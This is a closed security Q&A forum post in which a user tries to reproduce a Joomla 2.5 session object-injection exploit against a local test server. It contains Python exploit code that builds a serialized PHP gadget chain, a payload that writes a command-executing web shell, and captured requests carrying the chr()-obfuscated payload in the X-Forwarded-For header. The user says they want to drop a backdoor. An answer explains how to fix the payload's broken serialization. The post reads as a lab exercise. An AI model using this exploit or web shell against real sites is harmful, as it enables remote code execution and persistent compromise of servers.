0

I have read and understand object injection from this question. Then I wanted to test the security issue behind Joomla CMS Object injection through serialization.

TEST MACHINE

  • xammp 1.7.3 for windows
  • Apache/2.2.14 (Win32)
  • PHP/5.3.1
  • Joomla 2.5.11
  • fiddler

EXPLOIT

def generate_payload(php_payload):

     php_payload = "eval({0})".format(php_str_noquotes(php_payload))

     terminate = '\xf0\xfd\xfd\xfd';
     exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
     injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
     exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
     exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate

     return exploit_template
     pl = generate_payload("system('echo \"<?php \$cmd=\$_GET[\\'cmd\\']; echo system(\$cmd); shell_exec ( string $cmd ) : string;?>\" > /tmp/jx.php');")

     print get_url("http://127.0.0.1/", pl, "store_true")

First I tested if my machine is exploitable using the available exploits but they all failed or maybe I am the one who didnt understand so please help me understand whats happening exactly.

Here is what i can see through fiddler:

The exploit makes 4 requests with the first response a little different from the rest (it uses the store_true method to set the cookie I guess).

GET http://127.0.0.1/ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1041:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(92).chr(36).chr(99).chr(109).chr(100).chr(61).chr(92).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(92).chr(39).chr(99).chr(109).chr(100).chr(92).chr(39).chr(93).chr(59).chr(32).chr(101).chr(99).chr(104).chr(111).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(92).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(115).chr(104).chr(101).chr(108).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99).chr(32).chr(40).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(32).chr(36).chr(99).chr(109).chr(100).chr(32).chr(41).chr(32).chr(58).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(59).chr(63).chr(62).chr(34).chr(32).chr(62).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(106).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}

This is the first response:

HTTP/1.1 200 OK
Date: Fri, 01 Feb 2019 07:47:00 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Set-Cookie: f9c39f9608ec4593c02925f43b3c97db=v5jlhjodjp58el3jh5meanohl0; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: no-cache
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 15156

Then the second request:

GET http://127.0.0.1/ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1041:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(92).chr(36).chr(99).chr(109).chr(100).chr(61).chr(92).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(92).chr(39).chr(99).chr(109).chr(100).chr(92).chr(39).chr(93).chr(59).chr(32).chr(101).chr(99).chr(104).chr(111).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(92).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(115).chr(104).chr(101).chr(108).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99).chr(32).chr(40).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(32).chr(36).chr(99).chr(109).chr(100).chr(32).chr(41).chr(32).chr(58).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(59).chr(63).chr(62).chr(34).chr(32).chr(62).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(106).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}    
Cookie: f9c39f9608ec4593c02925f43b3c97db=v5jlhjodjp58el3jh5meanohl0

The second response:

HTTP/1.1 200 OK
Date: Fri, 01 Feb 2019 07:47:00 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: no-cache
Pragma: no-cache
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 15156

I have noticed that the first request set the cookie and the later uses the cookies so I thought that's where the magic happens so I kept in mind that un-serialization follows then __destruct. But the question is where and when?

So the cookies are stored in the database serialized along with user agent (which by the way is malicious)

__default|a:9:{s:15:"session.counter";i:4;s:19:"session.timer.start";i:1549007220;s:18:"session.timer.last";i:1549007221;s:17:"session.timer.now";i:1549007222;s:24:"session.client.forwarded";s:1426:"}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1041:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(92).chr(36).chr(99).chr(109).chr(100).chr(61).chr(92).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(92).chr(39).chr(99).chr(109).chr(100).chr(92).chr(39).chr(93).chr(59).chr(32).chr(101).chr(99).chr(104).chr(111).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(92).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(115).chr(104).chr(101).chr(108).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99).chr(32).chr(40).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(32).chr(36).chr(99).chr(109).chr(100).chr(32).chr(41).chr(32).chr(58).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(59).chr(63).chr(62).chr(34).chr(32).chr(62).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(106).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}����";s:22:"session.client.browser";s:78:"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0";s:8:"registry";O:9:"JRegistry":1:{s:7:"*data";O:8:"stdClass":0:{}}s:4:"user";O:5:"JUser":25:{s:9:"*isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:8:"usertype";N;s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:0:{}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:10:"*_params";O:9:"JRegistry":1:{s:7:"*data";O:8:"stdClass":0:{}}s:14:"*_authGroups";a:1:{i:0;i:1;}s:14:"*_authLevels";a:2:{i:0;i:1;i:1;i:1;}s:15:"*_authActions";N;s:12:"*_errorMsg";N;s:10:"*_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"b87e0280d138620307806718cd6f3102";}

Why cant the payload execute when accessing the session cookie? Is it because the its windows? Or php 5.3's eval()?

closed as unclear what you're asking by Anders, Xander, Josef, Tobi Nary, Polynomial Feb 18 at 19:44

Please clarify your specific problem or add additional details to highlight exactly what you need. As it's currently written, it’s hard to tell exactly what you're asking. See the How to Ask page for help clarifying this question. If this question can be reworded to fit the rules in the help center, please edit the question.

  • The link to the question in the first sentence seems to be missing. Could you please add it? – Anders Feb 1 at 9:33
  • Welcome. I find it hard to understand where your problem is exactly, as the question is incoherent. You're talking about a malicious user-agent, the cookie that gets written - but your requests place the malicious payload into X-Forwarded-For. What are you trying to do and what is your expected outcome? Why don't you quote the relevant source code you want to exploit? – Tobi Nary Feb 1 at 10:04
  • @ Tobi Nary i am trying to exploit object injection , i want to see if joomla 2.5.11 is vulnerable to this attack – ingezengeze nkayishyane Feb 1 at 11:27
  • @TobiNary " your requests place the malicious payload into X-Forwarded-For " thank you, all i did was to execute the payload while fiddler is open then go to sessions in joomla database to see if something happens, i want to drop a backdoor in the server( it seems impossible) – ingezengeze nkayishyane Feb 1 at 11:36
0

The analysis here pointed out that there is a difference between PHP’s session serialization and the usual serialize() function especially when it comes to array indexes

for example given the following array

array( ‘a’ => ‘a’, ‘b’ => ‘b’):

A standard serialize() call would give us a:2:{s:1:”a”;s:1:”a”;s:1:”b”;s:1:”b”;}

Whereas session_encode() is returning a|s:1:”a”;b|s:1:”b”;

In this case, session_encode() will allow attackers to store arbitrary session data inside the database

Now to answer the question

the part }__test|O:21 starts a new serialized object but problem with this approach is that it leaves an extra pipe ( | ) character, which breaks the resulting serialized payload. To get anything malicious in the session, an attacker needs to get rid of all the data located after the injected payload

Not the answer you're looking for? Browse other questions tagged or ask your own question.